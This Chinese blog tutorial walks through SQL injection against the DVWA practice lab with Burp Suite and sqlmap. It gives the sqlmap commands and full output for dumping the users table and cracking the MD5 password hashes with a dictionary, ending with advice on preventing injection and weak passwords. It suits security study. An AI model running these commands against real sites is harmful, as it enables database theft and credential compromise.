通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解

0x1 工具和环境介绍

dvwa:渗透测试环境
BurpSuite:强大的WEB安全测试工具
sqlmap:强大的sql注入工具
以上工具和环境都在kali linux上安装和配置。

0x2 步骤说明

配置Burp Suite和浏览器

这一步比较简单,主要是用来抓取用来sql注入的信息。
在Burp中设置proxy代理:127.0.0.1:8080,配置浏览器使用代理,这样浏览器的request信息就可以被Burp抓取了。


抓取登录信息

在Burp的Proxy界面可以抓取到浏览器访问的信息,如下所示:



可以看到登录中有id信息,因为已经把dvwa的安全级别调到最低,这里肯定是有注入点的。接下来就用sqlmap进行注入测试了。

sqlmap注入测试

sqlmap的功能很强大,主要的用法可以参考手册。
这里是可以探测到id是一个注入点的。接下来可以看一下dvwa数据库中有哪些数据表:
因为注入时候需要用到cookie,这里把上面的raw中的内容复制到一个文件中,后面sqlmap会用。

sqlmap -r /home/flyer/test-sec/1 --current-user --current-db --tables

可以看到当前数据库中的所有表,因为是用root帐号作为数据库的用户的。这里只列出dvwa的表:

Database: dvwa  [2 tables]  +----------------------------------------------+  |guestbook |  | users |  +----------------------------------------------+

以上这些操作说明是可以进行sql注入的,也获取到了dvwa的数据库表的名称,这里可以看到有一个users表,接下来就可以对这个表进行探测,看看里面是不是有一些有用的信息。

获取用户表并破解密码

操作如下,有详细的流程,此处不再赘述。

root@riverbaby:/var/www# sqlmap -r /home/flyer/test-sec/1 --search -D dvwa -T users
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150510}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

 

do you want sqlmap to consider provided table(s):
[1] as LIKE table names (default)
[2] as exact table names
> 2
[21:35:03] [INFO] searching table 'users' for database 'dvwa'
[21:35:03] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[1 table]
+-------+
| users |
+-------+

do you want to dump tables' entries? [Y/n] y
which database(s)?
[a]ll (default)
[dvwa]
[q]uit
> dvwa
which table(s) of database 'dvwa'?
[a]ll (default)
[users]
[s]kip
[q]uit
> users
[21:35:24] [INFO] fetching columns for table 'users' in database 'dvwa'
[21:35:24] [INFO] fetching entries for table 'users' in database 'dvwa'
[21:35:24] [INFO] analyzing table dump for possible password hashes
[21:35:24] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[21:35:30] [INFO] writing hashes to a temporary file '/tmp/sqlmapmLIBoQ15506/sqlmaphashes-RpFiGo.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[21:35:36] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 
[21:35:47] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[21:35:54] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[21:35:54] [INFO] starting 2 processes 
[21:35:54] [INFO] cracked password '1111' for hash 'b59c67bf196a4758191e42f76670ceba' 
[21:35:57] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03' 
[21:36:00] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b' 
[21:36:05] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7' 
[21:36:07] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99' 
[21:36:11] [INFO] postprocessing table dump 
Database: dvwa
Table: users
[5 entries]
+---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+
| user_id | user | avatar | password | last_name | first_name |
+---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+
| 1 | admin | http://localhost/dvwa/hackable/users/admin.jpg | b59c67bf196a4758191e42f76670ceba (1111) | admin | admin |
| 2 | gordonb | http://localhost/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon |
| 3 | 1337 | http://localhost/dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack |
| 4 | pablo | http://localhost/dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo |
| 5 | smithy | http://localhost/dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob |
+---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+

0x3 总结

破解成功,可以看到用户名和密码都已经列出来了。在网站设计的时候一定要考虑是否有sql注入的漏洞,否则很容易就会泄漏用户的敏感信息。这里破解密码hash用的是sqlmap自带的字典,很快就破解出来了,说明用户密码设置得并不安全。密码一定不能使用常用的组合或者意义过于明确的数据。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,324评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,303评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,192评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,555评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,569评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,566评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,927评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,583评论 0 257
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,827评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,590评论 2 320
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,669评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,365评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,941评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,928评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,159评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,880评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,399评论 2 342

推荐阅读更多精彩内容